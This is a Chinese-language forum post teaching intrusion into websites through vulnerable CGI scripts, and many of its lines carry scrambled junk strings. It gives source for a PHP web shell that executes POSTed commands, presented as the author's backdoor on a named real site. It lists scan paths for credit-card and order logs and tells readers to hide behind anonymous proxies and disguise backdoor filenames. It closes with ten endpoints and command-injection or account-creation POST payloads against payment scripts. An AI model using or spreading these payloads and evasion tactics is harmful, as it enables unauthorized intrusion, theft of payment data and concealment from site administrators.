CGI 脚本入侵快速上手+脚本使用方法

admin

CGI 脚本入侵快速上手+脚本使用方法
大家好 我是bboyhip  只是一名菜菜的exploiter
很开心来到贵论坛
! j: B2 j4 }1 \* @1 _& }* A这里让我感觉 很有技术交流的感觉
4 C# o5 P; v8 }: L我会长长来玩的
* {$ _. e0 r1 R/ H前言:
以下讲解针对欧美日本网站
當我們在做滲透分析的時候 方法有很多
( ~; Q7 M1 s7 A9 |, k我门都知道 国外伺服器大多是linux 平台
, y7 {' r% o9 v3 s, A" u所以有很多网站程序有6成都会使用cgi 脚本来管理
目录为/cgi-bin/

: }$ C. M! g0 d8 ^2 z. Q只是个人在实务上一些经验
1 s: L8 a/ q; ^3 u9 W/ p写的不好 请多多见谅喔
在这里我简单分为几个部份一定要會的
讲解一下
* m  e9 g: l7 m3 f$ J让没有基础的人很容易上手

以下内容跟帖回复才能看到
==============================
5 Q4 ?1 I' k- W: g# p' H9 F
第1部份: 何谓Shell?
Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
( Z% G: k$ v! eA shell is the program which reads user input from the command line and executes actions based upon that input.
意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.

对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  
( v& {, ?3 \; b0 J5 l; g要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
3 i( A# @0 ^; ?7 }( H所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.
' |5 a4 p  l* d2 u; Y. b6 V
) S5 x7 p& G5 t& c第2部份: Unix 指令
$ V, r- {5 F5 _以下是一些常见及重要的指令:
' v# j% V5 T# [1 X! Q7 _# Ppwd: 显示当前目录, 即是後门/程式所在的位置
( A+ U/ [4 _2 X% i如 /home/www/site.com/cgi-bin/
$ E, m0 {/ b0 |5 W0 O( a9 fls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  
( n9 c* K' K( f. Ols -al :详细列出档案资料(当前目录)
2 o# s5 S3 }. X$ Z9 \8 f) u8 ^8 nls /: 列出根目录
ls /etc: 列出/etc的资料夹及档案
ls ../ -al: 详细列出上一层的资料夹及档案
cat: 显示档案内容
% K, I' L7 K9 @2 L6 Z' Ccat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
cat /etc/passwd: 显示 /etc/passwd 这个档案的内容
3 I" \. o( a* y$ i9 O/ ^: hwho: 显示谁login 至系统
man: 显示指令用法  
& f) p2 l# w9 f9 r# Iman ls: 显示ls这指令的用法  
4 p5 Y' e" {7 G4 F) Lmkdir 建立目录
& |' n) r4 S2 nrmdir 删除目录
mv 移动档案
rm 删除档案

5 g$ ^; D& ~* g5 m# N) f0 q4 `4 X第3部份: Shell的使用
例如:
* |& o7 E  T3 S, ~# ohttp://site.com/refer.php
' a5 {; G8 E% }. O9 T( ]这是我的後门, 原代码如下:
<Form Action="#" Method="POST">
1 B1 G( r( a( f! J7 [( r* `<Input type="text" name="cmd">
/ r' ]# i# T' O; x' p6 \1 y9 ~- _<Input type="Submit">
# q* o1 L2 ^$ ^& q& p7 a! }- `</Form>
* P1 v; w6 f* z& Q# K" u& }. T<?php
$cmd = $_POST['cmd'];
) g2 m+ @/ }& Y  o4 O+ R$Output = shell_exec($cmd);
/ B3 Q% ^6 W' \  d/ N* r$ eecho $Output;
?>
# @' Z% G* p" Z6 {) @! F0 \1 l输入pwd, 可得到绝对路径:
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com

第4部份: 注意事项
- 使用匿名代理, 保障自己
' N" f  j9 R! s. M; M4 k. v- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动
. h' b' M3 e& E, U0 i6 D' J- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
不容易被发现.
4 q$ l( o6 |! u4 o' N- M- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案)
针对网站的渗透分析方法太多了
这篇文章的重点是cgi 脚本攻击
8 ^  v) n5 H' v9 b9 u所以我用简单的叙述形容
开始讲解脚本入侵过程:
4 e) n0 K- _0 L在这里提供一些方法思路让大家学习一下
3 V- F3 m5 T$ T- P
" ~- A7 C# B7 k3 E9 j1.一开始对一个网站进行cgi漏洞扫描
' P7 ^: E5 _+ _( x我们需要的东西有
扫洞工具 如:triton..等等
+ [* ]% v4 H# S; m+ U. I2 W# iE表
& U$ ~8 P3 Q( D2 f5 Q) G1 @如
/cgi-bin/add-passwd.cgi
' B) X3 Q7 K8 u7 P/WebShop/templates/cc.txt
/Admin_files/order.log
/orders/mountain.cfg
/cgi-sys/cart.pl
2 u' S& Q) z8 y4 t5 E/scripts/cart.pl
5 I3 j4 r7 T7 M/htbin/cart.pl
% h8 B& A( t+ L+ ?8 ZE表来源可以是网路收寻或是自己的0 day

2.怎样确认扫到的洞 是真的还假的?
: ?  ^& y7 P9 R) X4 S举例: target: http://www.site.com/cgi-bin/add-passwd.cgi
( ^8 `) \6 V6 w$ i/ o8 D一般都是在IE里先看一下的,记住这个返回码哦
; b" H' i7 c- `2 U( n9 m* H* wERROR:This script should be referenced with a METHOD of POST.
' V4 h  f2 m5 p! q3 d没有返回一定是假的
3.重来来了 很多人都会问我
" j3 l' W6 c, S3 e/ Z" A他扫到很多洞 但是不会使用
4 s, m& ~$ F& j! c; T! e( E9 ?( W因为这些漏洞 使用的语法 称为post
我们要找post 的方法很多
  S5 K, `, T7 ^: c& {6 ?9 ^5 o; o可以是源代码分析 找出介质
- w/ S& ?( P- {6 D+ |或是用抓包工具 抓他的语法...等等

& t0 q) K# u, a$ F以下我提供10个 cgi 洞以及使用方法post
- J) w) P7 ~: [' C! N& W5 D2 S让大家可以针对网站去做扫描  
& k' {8 s/ _; T4 R/index.cgi
wei=ren&gen=command
/passmaster.cgi
: W5 K0 z" ?9 Y4 t6 |" C1 |Action=Add&Username=Username&Password=Password
4 Y7 s- q$ C. H/accountcreate.cgi
username=username&password=password&ref1=|echo;ls|
" E/ U" H$ v" r$ h6 P' R/form.cgi
& r1 `. W8 A2 Aname=xxxx&email=email&subject=xxxx&response=|echo;ls|
/addusr.pl
/ b! `" B; ?1 I+ s8 i6 ^& w9 P/cgi-bin/EuroDebit/addusr.pl
user=username&pass=Password&confirm=Password
/ccbill-local.asp
post_values=username:password
/count.cgi
pinfile=|echo;ls -la;exit|
$ m+ t% q& j5 Z$ [3 c$ _! \/recon.cgi
/recon.cgi?search
searchoption=1&searchfor=|echo;ls -al;exit|
/verotelrum.pl
( I- F  l9 F. [4 Jvercode=username:password:dseegsow:add:amount<&30>
/af.cgi_browser_out=|echo;ls -la;exit;|
2 G* S4 \& B- [: i, o$ l, c) S* q
今天就讲到这  感谢大家支持
% T# e4 M) x9 I* ?7 V